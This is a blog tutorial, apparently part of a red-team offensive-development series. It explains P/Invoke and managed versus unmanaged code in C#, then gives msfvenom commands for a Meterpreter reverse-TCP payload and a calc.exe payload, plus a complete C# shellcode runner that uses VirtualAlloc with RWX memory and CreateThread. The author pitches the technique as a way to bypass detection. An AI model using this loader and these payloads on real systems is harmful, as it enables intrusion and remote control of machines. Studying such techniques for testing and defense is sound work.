Understanding PInvoke in C# and the Difference Between Managed and Unmanaged Code


RedTeam Malware Development Offensive Development PInvoke Managed Code Unmanaged Code Win32 API Interop DotNet Programming In-Memory Execution Shellcode CreateThread

Introduction to PInvoke in C#

In .NET development, the ability to call native functions from the Windows API is a powerful tool. This is where Platform Invocation Services, or P/Invoke, comes into play. In this article, we will explore what expression like PInvoke, Marshaling are, how these stuffs work in C#, and the distinctions between managed and unmanaged code. Additionally, how to generate and use shellcode in C# applications.

Learning Objectives

By the end of this article, you will be able to:

  • Understand the concept and purpose of PInvoke.
  • Identify the differences between managed and unmanaged code.
  • Use PInvoke to call unmanaged functions from C#.
  • Generate and use a shellcode runner.

Recap: Getting Started with Win32 API and C++ Development

Before we dive into practical process injection, let’s quickly recap what we covered in the last article:

  • Process Injection definition
  • Process Injection primitives
  • Description of some process injection techniques

Managed vs. Unmanaged Code

C# is a Object Oriented language that is based on the .NET Framework which is made by Microsoft. The syntax is quite easy to understand and learn. There are two general terms which you will hear:

  • Managed Code: This code runs under the control of the .NET runtime (CLR: Common Language Runtime). The CLR compiles the code into an intermediate language called MSIL ou IL (Microsoft Intermediate Language), which is then compiled by the runtime and executed Managed code benefits from features like garbage collection, type safety, and cross-language interoperability. Examples include applications written in C#, VB.NET, or F#.

  • Unmanaged Code: This code runs directly on the Windows operating system outside the control of the .NET runtime. It includes applications written in languages like C or C++, as well as system APIs provided by the Windows operating system. Unmanaged code does not benefit from the safety and managed environment provided by the CLR.

See the image below to sum up this part :

Credit: https://medium.com/@DevChy/managed-vs-unmanaged-code-ecef3aff2d65

When working with C#, there are times when we need to tap into the capabilities of unmanaged code from within our managed code. This can be achieved by creating a bridge between managed and unmanaged code through the interoperability functionality provided by the CLR. This interoperability is facilitated using P/Invoke (Platform Invocation Services).

P/Invoke and Marshaling in C#

Interoperability : Interacting with Unmanaged Code

The .NET Common Language Runtime (CLR) provides interoperability functionality that allows managed code to call unmanaged code. This bridge between managed and unmanaged code is essential for scenarios where you need to utilize existing unmanaged libraries or APIs that are not available in the managed world.

Marshaling:

When interacting with unmanaged functions from managed code, one critical aspect is marshaling. Marshaling is the process of transforming the data types used in managed code to the corresponding data types in unmanaged code and vice versa. This automatic handling is crucial for ensuring that the data passed between managed and unmanaged code is interpreted correctly.

For instance, in managed code, you might use a string type for character string, while in unmanaged code, you might need to convert this to a char* or wchar_t*. Same process for DWORD in managed code which is UInt32 in unmanaged code. Marshaling takes care of this conversion process seamlessly.

Credit: https://medium.com/@matterpreter/offensive-p-invoke-leveraging-the-win32-api-from-managed-code-7eef4fdef16d

NB: Understandably, C# does not provide the covert-ness (not sure if thats an actual word) that we can use in languages like C or C++. But it has other aspects like in memory execution and with the increase in tools that use C# we have also seen some cool tactics that can be utilized to bypass detection and defenses in our red team engagements

Practical Example I: How PInvoke Works - MessageBox

For the first example, we’ll see how to use P/Invoke in C# with the famous MessageBox Function to pop up an Hello world box. As we saw earlier, the MessageBox function is in the Module kernel32 contained in Win32 API.

To interact with unmanaged code, P/Invoke requires a declaration of the external function you want to call. This is done using the DllImport attribute, which specifies the name of the DLL containing the function and optionally the calling convention. Here is a simple example of using PInvoke to call the MessageBox function from the user32.dll:

[DllImport("user32.dll", CharSet = CharSet.Auto)]
    public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);

Once it’s declared, we use can this in our program :

using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);

    static void Main()
    {
        MessageBox(IntPtr.Zero, "Hello, world!", "My Message Box", 0);
    }
}

This program we’ll print a box with Hello, world! and My Message Box as a title.

Practical Example II : Shellcode Runner in C#

What is Shellcode?

Shellcode is a small piece of code used as the payload in the exploitation of software vulnerabilities. It typically opens a shell or executes arbitrary commands on the target system. Shellcode is often written in assembly language and is designed to be loaded directly into memory and executed.

Generating Shellcode with Metasploit

Metasploit is a popular penetration testing framework that can generate shellcode for various payloads. Here’s how you can generate shellcode using Metasploit:

  1. Open Metasploit Framework:

    msfconsole
  2. Use the msfvenom tool to generate shellcode:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -f csharp

    This command generates a C# formatted shellcode for a reverse TCP meterpreter payload. Replace your_ip and your_port with your IP address and port number.

  3. For this example we’ll generate a calculator launcher shellcode :

    msfvenom -p windows/x64/exec CMD="calc.exe" -f csharp  

Save the code generated for the next move.

Using Shellcode in a C# Application

Here is how you can use the generated shellcode in a C# application:

using System;
using System.Runtime.InteropServices;

class ShellcodeRunner
{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    const uint MEM_COMMIT = 0x1000;
    const uint MEM_RESERVE = 0x2000;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    const uint INFINITE = 0xFFFFFFFF;

    static void Main()
    {
        byte[] shellcode = new byte[276] {0xfc,..,0x00};
        IntPtr allocatedMemory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        
        if (allocatedMemory == IntPtr.Zero)
        {
            throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error());
        }

        Marshal.Copy(shellcode, 0, allocatedMemory, shellcode.Length);

        uint threadId;
        IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, allocatedMemory, IntPtr.Zero, 0, out threadId);

        if (threadHandle == IntPtr.Zero)
        {
            throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error());
        }

        WaitForSingleObject(threadHandle, INFINITE);
    }
}

Here’s an explanation of the ShellcodeRunner code:

  1. Imports unmanaged API Call from kernel32.dll

    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
  2. Memory Allocation Constants

    const uint MEM_COMMIT = 0x1000;
    const uint MEM_RESERVE = 0x2000;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    const uint INFINITE = 0xFFFFFFFF;

    These constants are used with the VirtualAlloc and VirtualProtect functions to allocate memory and set the appropriate permissions.

  3. Shellcode Definition

    byte[] shellcode = new byte[276] { ... };

Our Shellcode generated.

  1. Memory Allocation

    IntPtr allocatedMemory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    if (allocatedMemory == IntPtr.Zero)
    {
        throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error());
    }
    • VirtualAlloc: This function reserves and commits a block of memory where the shellcode will be copied.
    • Error Handling: If memory allocation fails, the program throws an exception, indicating an issue in allocating memory.
  2. Copy Shellcode to Allocated Memory

    Marshal.Copy(shellcode, 0, allocatedMemory, shellcode.Length);
    • Marshal.Copy: Copies the shellcode byte array into the newly allocated memory.
  3. Create and Run the Shellcode Thread

    uint threadId;
    IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, allocatedMemory, IntPtr.Zero, 0, out threadId);
    
    if (threadHandle == IntPtr.Zero)
    {
        throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error());
    }
    
    WaitForSingleObject(threadHandle, INFINITE);
    • CreateThread: Starts a new thread in the current process. The thread begins executing at the start of the shellcode stored in the allocated memory.
    • WaitForSingleObject: Ensures the main program waits until the shellcode thread finishes executing.

Conclusion

PInvoke provides a powerful way to bridge the gap between managed and unmanaged code, allowing C# developers to harness the full potential of the Windows API. Additionally, understanding security tools developed in C#, in-memory execution, and shellcode generation broadens your skillset in both development and security fields.

Future posts will continue to explore these methods in more detail, providing practical examples and further insights into their use cases and detection. Stay tuned for more in-depth tutorials and examples. If you have any questions or topics you would like me to cover, feel free to reach out!

All the examples can be found on my github repos : https://github.com/R3dLevy/TheOffensiveDevelopmentProject

References

© 2025 Jude Levy